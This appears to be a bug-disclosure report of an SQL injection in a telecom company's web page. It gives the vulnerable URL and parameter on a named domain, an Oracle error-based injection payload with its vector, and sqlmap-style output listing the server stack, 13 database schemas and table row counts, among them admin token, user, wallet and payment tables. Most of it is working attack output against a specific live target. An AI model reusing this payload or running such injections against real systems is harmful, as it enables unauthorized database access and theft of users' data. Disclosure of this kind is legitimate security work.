广信通信某站sql注入

注入：http://jm.163.cn/frontend/Account/system_message_a.aspx?id=492 (GET)
 
 Parameter: id (GET)
     Type: error-based
     Title: Oracle AND error-based - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)
     Payload: id=492 AND 1587=CTXSYS.DRITHSX.SN(1587,(CHR(113)||CHR(106)||CHR(113)||CHR(120)||CHR(113)||(SELECT (CASE WHEN (1587=1587) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(112)||CHR(122)||CHR(113)||CHR(113)))
     Vector: AND [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM],'[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')
 ---
 web server operating system: Windows 2008 R2 or 7
 web application technology: ASP.NET 4.0.30319, Microsoft IIS 7.5, ASP.NET
 back-end DBMS: Oracle
 available databases [13]:
 [*] APEX_030200
 [*] BUILDINGBLOCK
 [*] CTXSYS
 [*] DIANBAN
 [*] EXFSYS
 [*] GXCC
 [*] IVSP
 [*] MDSYS
 [*] OLAPSYS
 [*] SYS
 [*] SYSTEM
 [*] TSS
 [*] XDB
 
 
 Database: BUILDINGBLOCK
 +---------------------------+---------+
 | Table                     | Entries |
 +---------------------------+---------+
 | TB_BLOCK_CRONLOG          | 2129954 |
 | TB_BLOCK_APILOG           | 94624   |
 | TB_BLOCK_LOG              | 19549   |
 | TB_WXADMIN_LOG            | 13099   |
 | TB_TRANS_LOG              | 5193    |
 | TB_JM_PRIZE_HIS           | 4686    |
 | TB_EWX_FINDPEOPLE         | 3782    |
 | TB_EWX_FINDPEOPLE_RANKING | 3780    |
 | TB_BLOCK_DIC_CITY         | 2919    |
 | TB_WSP_SUBSCRIBE          | 2814    |
 | TB_BLOCK_DIC              | 603     |
 | TB_JM_PRIZE_LOG           | 580     |
 | TEMP_PRIZE                | 580     |
 | TB_WXSTAT_USERSUMMARY     | 562     |
 | TB_BLOCK_ADMIN_TOKEN      | 496     |
 | TB_BLOCK_AUTHENCODELOG    | 470     |
 | TB_BLOCK_PAYAPILOG        | 433     |
 | TB_WXSTAT_USERCUMULATE    | 404     |
 | TB_EWX_20150720_USER      | 294     |
 | TB_BLOCK_PAYLOG           | 228     |
 | TB_BLOCK_ADDRESSBOOK      | 195     |
 | TB_REDEEM_ORDER           | 174     |
 | TB_REDEEM_ITEM            | 140     |
 | TB_BLOCK_SEARCHLOG        | 122     |
 | TB_BLOCK_USER             | 98      |
 | TB_PHONEAPP_ITEM_20160302 | 98      |
 | TB_TRADEIN_ORDER          | 92      |
 | TB_PHONEAPP_ITEM          | 84      |
 | LPTEMP20151217            | 81      |
 | TB_BLOCK_WALLET_ENTRY     | 80      |
 | TB_BLOCK_MESSAGE          | 77      |
 | TB_PHONETRADE_ORDER       | 46      |
 | TB_PHONETRADE_ITEM        | 41      |
 | TB_TRADEIN_ITEM           | 35      |
 | TB_EWX_20150720_VOUCHER   | 22      |
 | TB_REDEEM_BOOKMARK        | 20      |
 | TB_BLOCK_EXPRESSCACHE     | 18      |
 | TB_BLOCK_ITEM_COUNTLOG    | 17      |
 | TB_PHONETRADE_IMEI        | 17      |
 | TB_PHONETRADE_COMPLAIN    | 14      |
 | TB_EWX_FINDPEOPLE1        | 11      |
 | TB_PHONEAPP_TYPE          | 9       |
 | TB_BLOCK_ADMIN            | 8       |
 | TB_BLOCK_TC               | 8       |
 | TB_PHONETRADE_BOOKMARK    | 7       |
 | TB_WXADMIN_CONFIG         | 7       |
 | TB_BLOCK_ADMIN_GROUP      | 5       |
 | TB_JM_PRIZE               | 4       |
 | TB_TRADEIN_COMPLAIN       | 4       |
 | TB_BLOCK_BANNER           | 3       |
 | TB_JM_TOUR                | 3       |
 | TB_JM_PRIZE_TIME          | 1       |
 | TB_TRADEIN_MERCHANT       | 1       |
 +---------------------------+---------+